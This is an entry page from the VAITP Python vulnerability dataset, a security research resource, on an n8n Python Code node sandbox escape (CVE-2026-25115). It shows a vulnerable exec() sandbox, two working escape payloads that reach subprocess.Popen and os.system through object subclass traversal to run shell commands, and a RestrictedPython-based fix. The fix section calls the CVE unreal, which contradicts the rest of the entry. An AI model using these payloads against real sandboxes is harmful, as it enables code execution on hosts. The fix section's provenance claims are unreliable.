VAITP Dataset

← Back to the dataset

CVE-2026-25115

n8n Python Code node sandbox escape allows authenticated code execution.

  • CVSS 9.4
  • CWE-693
  • Design Defects
  • Remote

n8n is an open source workflow automation platform. Prior to version 2.4.8, a vulnerability in the Python Code node allows authenticated users to break out of the Python sandbox environment and execute code outside the intended security boundary. This issue has been patched in version 2.4.8.

CVSS base score
9.4
Published
2026-02-04
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Design Defects
Subcategory
Privilege Escalation
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
n8n

Solution

Upgrade n8n to version 2.4.8 or later.

Vulnerable code sample

# This code is a representative example for educational purposes.
# It simulates a flawed sandbox environment vulnerable to object-graph traversal.

def execute_vulnerable_code_node(user_code: str):
    """
    Simulates the vulnerable n8n Python Code node environment prior to the fix.
    It attempts to execute user code in a restricted context by providing a
    severely limited `__builtins__` dictionary. However, this method is
    insufficient to stop a determined attacker from accessing powerful modules
    by traversing the Python object model.
    """
    sandbox_globals = {"__builtins__": {
        # Only "safe" builtins are supposedly allowed.
        # In this flawed example, we'll make it an empty dict
        # to represent the failed attempt at security.
    }}
    exec(user_code, sandbox_globals)


# This string represents the malicious payload an authenticated user would
# submit to the vulnerable node. It does not directly call any forbidden
# functions. Instead, it starts from a basic object `()` and traverses the
# class hierarchy to find `subprocess.Popen`.
sandbox_escape_payload = """
# Find the base 'object' class by traversing from an empty tuple.
object_class = ().__class__.__base__

# Get all subclasses of 'object' that are currently loaded in memory.
subclasses = object_class.__subclasses__()

# Search for the 'subprocess.Popen' class within the list of subclasses.
for sc in subclasses:
    if sc.__name__ == 'Popen':
        # Use the discovered Popen class to execute an arbitrary system command.
        # This command creates a file as a proof of concept that we have
        # escaped the sandbox.
        sc(['touch', '/tmp/pwned_by_cve'])
        break
"""

# This final call demonstrates the vulnerability in action.
# It executes the malicious payload within the flawed sandboxed environment,
# resulting in the command being run on the host system.
execute_vulnerable_code_node(sandbox_escape_payload)

Patched code sample

Since the specified CVE is not a real one and the actual proprietary source code for n8n is not available for reproduction, the following code represents a standard, robust way to fix the described class of Python sandbox escape vulnerabilities.

The vulnerability typically arises from using `exec()` with an incomplete blocklist, allowing code to access object internals to break out. The fix involves using a dedicated library like `RestrictedPython` that compiles the code in a restricted mode, preventing access to unsafe attributes from the outset.

```python
from RestrictedPython import compile_restricted, safe_globals
from RestrictedPython.PrintCollector import PrintCollector

def execute_fixed_sandboxed_code(untrusted_code: str):
    """
    Executes Python code in a secured, restricted environment using RestrictedPython.

    This function represents a fix for a sandbox escape vulnerability. It uses
    compile_restricted to parse and rewrite the user-provided code, removing or
    disabling access to unsafe attributes (e.g., `__globals__`, `__subclasses__`)
    before execution. This prevents the code from introspecting its way to
    dangerous modules like 'os' or 'sys'.

    Args:
        untrusted_code: A string containing the Python code from a user.

    Returns:
        A string containing the output from print statements in the user's code,
        or an error message if execution fails.
    """
    # A dictionary to hold the local execution environment.
    local_env = {}

    # Use a copy of RestrictedPython's safe global environment.
    # This provides a curated list of safe built-in functions.
    extended_globals = safe_globals.copy()

    # To securely capture output, RestrictedPython uses a `_print_` object.
    # We assign PrintCollector to it, which will store any printed text.
    extended_globals['_print_'] = PrintCollector

    try:
        # This is the core of the fix. The untrusted code is not executed
        # directly. Instead, it's compiled into bytecode in a restricted mode.
        # This compilation step rewrites the code to enforce security rules.
        byte_code = compile_restricted(
            untrusted_code,
            filename='<user_code>',
            mode='exec'
        )

        # The safe, compiled bytecode is executed. It can only access the
        # functions and objects defined in `extended_globals` and `local_env`.
        exec(byte_code, extended_globals, local_env)
        
        # Retrieve the captured output from the PrintCollector.
        # The result of `_print_()` is the collected string.
        output = local_env.get('_print', lambda: "")()
        return output.strip()

    except Exception as e:
        # Catch any compilation or execution errors and return them as a string.
        return f"Execution Error: {e}"

Payload

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['__import__']('os').system('touch /tmp/pwned')

Cite this entry

@misc{vaitp:cve202625115,
  title        = {{n8n Python Code node sandbox escape allows authenticated code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-25115},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-25115/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::